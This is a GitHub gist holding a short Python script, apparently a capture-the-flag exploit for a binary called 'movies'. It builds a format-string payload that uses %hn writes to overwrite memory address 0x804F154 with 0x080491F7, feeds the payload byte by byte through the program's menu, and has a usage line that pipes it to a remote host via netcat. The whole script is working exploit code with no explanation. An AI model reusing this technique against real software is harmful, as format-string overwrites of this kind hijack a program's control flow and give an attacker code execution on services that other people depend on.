Skip to content

Instantly share code, notes, and snippets.

@awreece
Created June 10, 2013 01:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save awreece/5745930 to your computer and use it in GitHub Desktop.
Save awreece/5745930 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# Usage: ./moviestore.py | ./movies
# Usage: ./moviestore.py | nc <host> <port>
# s = "AAAABBBB%00000x%5$hp%0000x%6$hp"
s = "\x56\xf1\x04\x08\x54\xf1\x04\x08%02044x%5$hn%35315x%6$hn"
# Want to write value 080491F7
# to 804F154
for c in s:
print "b"
print ord(c)
for c in xrange(128, 256, 1):
print "b"
print c
print "c"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment